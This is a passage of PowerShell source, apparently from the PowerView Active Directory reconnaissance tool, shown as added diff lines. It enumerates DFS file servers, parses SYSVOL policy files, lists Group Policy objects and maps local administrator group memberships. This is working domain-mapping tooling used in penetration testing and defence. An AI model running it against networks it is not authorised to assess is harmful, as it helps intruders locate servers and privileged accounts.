$state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $Null + $blob_name = $Null + $target_list = $Null + } + + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split('\')[2] + } + } + } + + $servers + } + + function Get-DomainDFSShareV1 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=fTDfs))' + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + + if ($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match + # on 'null' rather than $Null + if ($_ -ne 'null') { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + + function Get-DomainDFSShareV2 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' + $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split('\')[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + } + + PROCESS { + $DFSshares = @() + + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + } + else { + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + + $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique + } +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# +.SYNOPSIS + +Helper to parse a GptTmpl.inf policy file path into a hashtable. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent + +.DESCRIPTION + +Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a +GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf +is constructed and assumed to be the parse target. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GptTmplPath + +Specifies the GptTmpl.inf file path name to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local + +.EXAMPLE + +Get-DomainGPO testing | Get-GptTmpl + +Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local using alternate credentials. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('gpcfilesyspath', 'Path')] + [String] + $GptTmplPath, + + [Switch] + $OutputObject, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + $TargetGptTmplPath = $GptTmplPath + if (-not $TargetGptTmplPath.EndsWith('.inf')) { + $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + } + + Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" + + if ($PSBoundParameters['OutputObject']) { + $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop + if ($Contents) { + $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath + $Contents + } + } + else { + $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop + if ($Contents) { + $Contents['Path'] = $TargetGptTmplPath + $Contents + } + } + } + catch { + Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-GroupsXML { +<# +.SYNOPSIS + +Helper to parse a groups.xml file path into a custom object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID + +.DESCRIPTION + +Parses a groups.xml into a custom object. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. + +.PARAMETER GroupsXMLpath + +Specifies the groups.xml file path name to parse. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.OUTPUTS + +PowerView.GroupsXML +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GroupsXML')] + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Path')] + [String] + $GroupsXMLPath, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $MappedPaths = @{} + } + + PROCESS { + try { + if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { + + $Groupname = $_.Properties.groupName + + # extract the localgroup sid for memberof + $GroupSID = $_.Properties.groupSid + if (-not $GroupSID) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + if ($PSBoundParameters['Credential']) { + $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential + } + else { + $GroupSID = ConvertTo-SID -ObjectName $Groupname + } + } + } + + # extract out members added to this group + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if ($_.sid) { $_.sid } + else { $_.name } + } + + if ($Members) { + # extract out any/all filters...I hate you GPP + if ($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } + + if ($Members -isnot [System.Array]) { $Members = @($Members) } + + $GroupsXML = New-Object PSObject + $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GroupsXML | Add-Member Noteproperty 'Filters' $Filters + $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName + $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID + $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null + $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members + $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') + $GroupsXML + } + } + } + catch { + Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" + } + } + + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } + } +} + + +function Get-DomainGPO { +<# +.SYNOPSIS + +Return all GPOs or specific GPO objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all GPO objects for +the current domain are returned. To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ComputerIdentity + +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). + +.PARAMETER UserIdentity + +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGPO -Domain testlab.local + +Return all GPOs for the testlab.local domain + +.EXAMPLE + +Get-DomainGPO -ComputerName windows1.testlab.local + +Returns all GPOs applied windows1.testlab.local + +.EXAMPLE + +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO + +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" + +.EXAMPLE + +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred + +.OUTPUTS + +PowerView.GPO + +Custom PSObject with translated GPO property fields. + +PowerView.GPO.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GPO')] + [OutputType('PowerView.GPO.Raw')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Parameter(ParameterSetName = 'ComputerIdentity')] + [Alias('ComputerName')] + [ValidateNotNullOrEmpty()] + [String] + $ComputerIdentity, + + [Parameter(ParameterSetName = 'UserIdentity')] + [Alias('UserName')] + [ValidateNotNullOrEmpty()] + [String] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GPOSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GPOSearcher) { + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null + + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" + } + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" + } + $ObjectDN = $User.distinguishedname + } + + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) + } + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + if ($_.gplink) { + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GpoDN = $Parts[0] + $Enforced = $Parts[1] + + if ($InheritanceDisabled) { + # if inheritance has already been disabled and this GPO is set as "enforced" + # then add it, otherwise ignore it + if ($Enforced -eq 2) { + $GpoDN + } + } + else { + # inheritance not marked as disabled yet + $GpoDN + } + } + } + } + + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True + } + } + } + } + + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + } + } + + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" + + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') + + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GPOSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GPOSearcher) { + Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } + else { $Results = $GPOSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + } + catch { + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" + } + } + else { + $GPO = Convert-LDAPProperty -Properties $_.Properties + } + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $GPO + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" + } + } + $GPOSearcher.dispose() + } + } + } +} + + +function Get-DomainGPOLocalGroup { +<# +.SYNOPSIS + +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +.DESCRIPTION + +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. + +.PARAMETER ResolveMembersToSIDs + +Switch. Indicates that any member names should be resolved to their domain SIDs. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an 